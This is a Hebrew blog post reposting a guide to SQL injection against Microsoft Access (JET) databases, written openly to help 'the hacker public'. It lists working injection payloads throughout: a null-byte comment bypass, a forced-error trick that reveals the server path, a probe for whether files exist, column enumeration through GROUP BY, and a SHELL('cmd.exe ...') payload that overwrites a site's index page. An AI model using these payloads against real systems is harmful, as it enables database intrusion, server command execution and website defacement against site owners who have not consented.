ACCESS INJECTION

נכתב ע"י גיא מזרחי בתאריך 26 במאי 2008 | נושאים כללי |

TheLeader כתב מדריך מעניין על ההבדלים בין INJECTION מול DB כמו SQL לבין ACCESS.

מכיוון שזה בהחלט נושא שנתקלים בו הרבה - החלטתי לייצר מזה פוסט.

כל הכבוד ל-TheLeader על ההשקעה

לא פעם בעת נסיונות הזרקה, אתם בוודאי נתקלים בהערות שגיאה מהסוג הזה:

ציטוט:

Microsoft JET Database Engine error '80040e10′

שימו לב אל השורה העליונה; זה אומר שהמסד מבוסס ACCESS.
מסדי אקסס שונים מעט ממסדי MYSQL רגילים, בעיקר בסיינטקס. במדריך זה אשתדל לסקור את ההבדלים העיקריים על מנת להקל מעט על ציבור ההאקרים
הערות - במסדי ACCESS לא ניתן להשתמש במקף כפול (–), סלאש כוכבית (/*) או סולמית (#) על מנת לבטא הערה. במקום זאת, יש להשתמש בNULL BYTE (שמבוטא %00) ע"מ לסגור את המחרוזת ולגרום למסד להתעלם מהשאר. כך לדוגמא במקום להכניס:
' or 1=1–
נכניס:
' or 1=1%00
UNION - הפקודה UNION מוגבלת לשימוש רק כאשר שולפים נתונים מטבלה תקינה בשדה הFROM.
LIMIT - הפקודה LIMIT לא נתמכת, אבל ניתן להשתמש בTOP X (כשבמקום X מופיע המספר הרצוי) כדי להגביל את מספר הטורים.
CONCAT - לא נתמכת. ניתן להשתמש בפלוס (+) או סימן-חיבור-שאין-לי-מושג-איך-קוראים-לו (&), אך צריך לקודד אותם לפני כן. לדוגמא: 'ab' %2b 'cd'.
מציאת הנתיב המלא - משפט SELECT ממסד מזוייף (נקודה) טבלה מזוייפת יציג שגיאה שתסגיר את הנתיב המלא.
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00

ציטוט:

Could not find file 'c:\windows\system32\inetsrv\ThisIsAFakeName.mdb'.

בדיקה אם קובץ קיים - UNION SELECT name FROM msysobjects IN '\boot.ini'%00
גילוי טורים - מכיוון שהפקודה HAVING לא מחזירה שמות טורים, אנחנו מוגבלים לעשות רק GROUP BY. אך למרבה המזל, הטור ID קיים כמעט תמיד, וכך ניתן לגלות את כל הטורים:
GROUP BY Id%00

ציטוט:

You tried to execute a query that does not include the specified expression 'title' as part of an aggregate function.

GROUP BY Id,title%00
וכו'..
CURDIR() - הפונקציה curdir מחזירה את הנתיב שאתה נמצא בו כרגע.
הרצת פקודות - ניתן להריץ פקודות SHELL* כך:
AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00
כפי ששמתם לב, האופרטור AND משמש גם לחיבור פקודות ולא רק לתנאי. ניתן כך לשלב גם משפטי SELECT:
AND (SELECT TOP 1 'abc' FROM users)%00
* אין לי מושג אם זה יעבוד על לינוקס, אבל אני לא בטוח שיש בכלל מסדי אקסס בלינוקס..
SLEEP - הפונקציות SLEEP וBENCHMARK לא נתמכות, אבל ניתן להאט את השאילתא וליצור מבחן זמן על ידי שאילתות מורכבות. מכיוון שזהו נושא מסובך בפני עצמו, אפנה אתכם למאמר שמסביר את הטכניקה:
http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx
טבלאות - לרוב לא יהיה אליהן גישה, אבל בכל אופן הנה הן:
MSysAccessXML
MSysACEs
MSysObjects
מקווה שנהניתם (והחכמתם), TheLeader

Popularity: 55% [?]